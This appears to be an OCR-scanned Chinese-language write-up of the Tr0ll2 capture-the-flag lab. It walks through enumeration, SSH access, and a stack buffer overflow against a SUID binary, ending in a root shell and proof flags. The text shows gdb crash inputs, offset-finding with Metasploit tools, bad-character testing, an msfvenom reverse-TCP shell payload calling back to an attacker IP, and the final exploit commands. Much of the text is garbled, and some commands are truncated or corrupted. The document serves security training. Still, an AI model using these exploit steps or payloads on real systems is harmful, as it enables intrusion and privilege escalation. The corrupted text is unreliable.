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User-agent:*
Disallow:
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/nope

/try_harder
{keep_trying
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/nothing here
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1 /noob
2 /nope
3 /try_harder
4 /keep_trying
5 /isnt_this_annoying
6 /nothing_here
7 /L4
8 /LOL_at_the_last_one
9 /trolling_is_fun
10 /zomg_is_this_it
11 /you_found_me
12 /I_know_this_sucks
13 /You_could_give_up
14 /dont_bother
15 /will_it_ever_end
16 /I_hope_you_scripted_this
17 /ok_this_is_it
18 /stop_whining
19 /why_are_you_still_looking
20 /just_guit
21 /seriously_stop
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Apache/2.2.22 (Ubuntu) Server at 192.168.101.33 Port 80
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4 AB
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sudo apt install fcrackzip
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ssh -i noob noob@192.168.101.33
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noob noob@®192.168.101.

TRY HARDER LOL!
Connection to 192.168.101.33 closed.
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ssh -i noob noob@192.168.101.33 -t "/bin/sh"
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noob noob@192.168.101.33

TRY HARDER LOL!
Connection to 192.168.101.33 closed.
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rm bof
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sudo python2 -m SimpleHTTPServer 80
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wget http://192.168.101.34/1linpeas.sh
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Good job, stand by, executing root shell ...
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noob@Trall thing_to_see_he oose_wisely/doorl$

The system is going reboot NOW!
Connection to 192.1¢

noob@Tr@ll2:/$ /nothing_to_see_here/choose_wisely/door2;

2 MINUTE HARD MODE LOL

noob@Tré 1s -al

bash in/1 Permission denied
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od -S 1 /nothing_to_see_here/choose_wisely/door2/reot

iR EREIERTE, BEbof.c, WRIIXAN A A S

3 _ JCR_END__
global_ctors_aux

irray_end

BE—28, W LU R T i R A S A AN R AT EE R 1 r00tSC A

od -S 1 /nothing_to_see_here/choose_wisely/door2/reet | grep bof

S5 0 X3 R 4R
HeBLshellsfi4fi AT fir 4, FF 44 Fgdbifir00t

gdb /nothing_to_see_here/choose_wisely/door3/reet

#EAgdbjG, PATWI R4S, HrRiRrun, %2R HATrO0oE LAS00 N ATE I N S

(gdb) r $(python -c 'print "A"*500")
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Copyright J
License GPLv3
This is fr
There is NO Type "show copying"”
and "show warr i

This GDB

[0_See_nere;cnoose_wisel or3/r@dt $(python -c 'print "A"#50

ram received signal SIGSEGV, Segmentation fault.
@x41414141 in 77 ()

PP R EAE AN B W T EIP.

B e W E ML & R pattern_create.rb S F

find / -name pattern_create.rb -type f 2>/dev/null

PATUN Ty 4, Hpattern_create.rbz s 5 50015 (R4 T 5 B A—HF 1) 245 £

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -1 500

iZ47r00t,  LANINIAE B 745 ER A N2

(gdb) r AalAalAa2Aa3Aad4AasAabAa7Aa8Aad9AbBAb1Ab2Ab3AbAAbSAb6Ab7AD8ADIACOACIAC2AC3AC4ACSAC6AC7AC8ACIAdOAdIAd

MEEFRAT I, HEEIPR) 2 0x6a413969
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caivad signal STGSEGV, Segmentation fault.
9 in ¥ )
(gdb) B

i pattern_offset.rb ki & 0x6a4139697E NS 1 17 B

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -1 500 -q 6a413969

45 R EHTT A 2684 715

[*] Exact match at offset

gdbH ¥ AT F A A SHIELL E 4510, 1847100t A ZZ2681AfI41B

(gdb) r $(python -c 'print "A"*268+"B"*4')

EIP;£0x42424242, O0x42:EBH)t/ idtfilasciiid. Kk, PLEZSEIEH.

ython -c 'print "A"*268+"B"*4')
n being debu E] n started already.
Start it from the beginning? (y or n) y

rting program: /nothing_to_see_here/choose_wisely/door

mentation fault.

PATLU N dn 4, BR A A7 A i(E

(gdb) i r
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PAT R i T LAE R 2L AR 1A O 1R

(gdb) x exbffffbse
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(gdb) r $(python -c 'print "A"*268+"B"*4+"C"*8"')
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pip install badchars

PR QA B

sudo 1n -s /home/kali/.local/bin/badchars /bin/badchars

AT

badchars



AT A% A1 ~255 1+ F

X /i RASHIC

(gdb) r $(python -c 'print "A"*268+"B"*4+"\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\
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(gdb) i r
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SIGSEGV, mentation fault.
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1414141 Bx41474141
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(gdb) x/100xb @xbffffa7e0
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AZ X0 3, FF AT, HEFKH AR T 4T .
i 5445 £0.4%\x 00\x 09\x 0a\x 20

B2 F R shellcode, HImsfvenom: i #ishell, LHOST & #lip, LPORT /&M LA T frsk 11, FFH-b
IR E IR T

msfvenom -p linux/x86/shell reverse_tcp LHOST=192.168.101.34 LPORT=2333 -b "\x00\x09\x0a\x20" -f py

Py
[-]1 No platform wa
[-1 No arch sel :

a (iteration=0)
6/shik ai ] 95

Payload :

Fina i

L= = g = = gl = = = = i =

#e57 5:shellcode i, FAMSAL T . BFNZ AV R ERIMP ESP, X MENULE B X A BT

F T vulnhub_ 47 J L~ writeup, 45 Hi it payload+ £ EIP1E 0xbffffo80, {HIR X T A% &k i fshellcode,
Wtwriteup H A IAANBE RS . AL UL, N HIXFEE I T

noob@Trell2:~$ /nothing to_see here/choose wisely/door2/reet $(python -c 'print "A"*268+"\x80\xfb\xff\xbf"+

thon -c

FRANTE FEAMETE IX A2 KON I VMwarehi A, - TiiwriteupfE 411 IHETE £F =2 virtual boxii A4 2
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TrOll: 2 Walkthrough - You Gotta Pay the Troll Toll
N IX/Swriteup BLTH] & B — A 7e i shellcode (1) 9
Linux/x86 - execve /bin/sh shellcode - 23 bytes

Bz, XA writeupfEH Tenvin 4 (env -Zenv -4 s ) , H HAFEIPHIE NOxbffffic80. ik 1 i payloadZ
A LRI, B R bR

env - /nothing_to_see_here/choose_wisely/door3/reet $(python -c 'print "A"*268 + "\x80\xfc\xff\xbf" + "\x90

# whoami
root

# 1s

# cd /root

# 1s

Proof.txt core core2 core3 core4 goal hardmode 1mao.zip ran_dir.py reboot
# cat Proof.txt

You win this time young Jedi ...

8ble4

JE KRB A XM TG 7 H Cishellcode, & LU Dhi, 53 i 3#shell

noob@Trell2:~$ env - /nothing to_see_here/choose_wisely/door2/reot $(python -c 'print "A"*268+"\x80\xfc\xff
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11;Tﬂn1ng on i
connect to [192.168.101.34] from (UNKNOWN) [192
id
uid=1802(noob) gid=1002( ) euid=08(root) groups=0(root),1002(noob)
whoami

noob root 4@

root root :

noob noob B De - .bash_history
noob noob ¢ 5 ; .cache

noob noob 4@ T 4 .ssh

cd /root

s

Proof.txt
corel

cor

COT

cored

goal

hardmode
lmao.zip
ran_dir.py
reboot

cat Proof.txt
You win this time young Jedi ...

a7@354f0258dcc@@292c72aab3c8bles

Ak BRI T, WAL HERE KRS, RAEEAHEI 7. Oxbffffc80:2 E 4K IHTe?
flieFHenv - gdb /rOOtiE N, RJEIER 7 9iiiiELeE, #

(gdb) run $(python -c ‘print "A"*268 + "BBBB" + "\x90"*16 + "C"*100')

UL ESP A {H {8 /2 Oxbffffc80

Al 9t 42 10041Clle, ANHT !

1T H IR b R R A 45 2 8 AN /2 Oxbffffe80 1, AN B S 1 #2 Oxbffffe80.
T 7 H AR, A B R

W, EAERE, mELERTEEFYIE.
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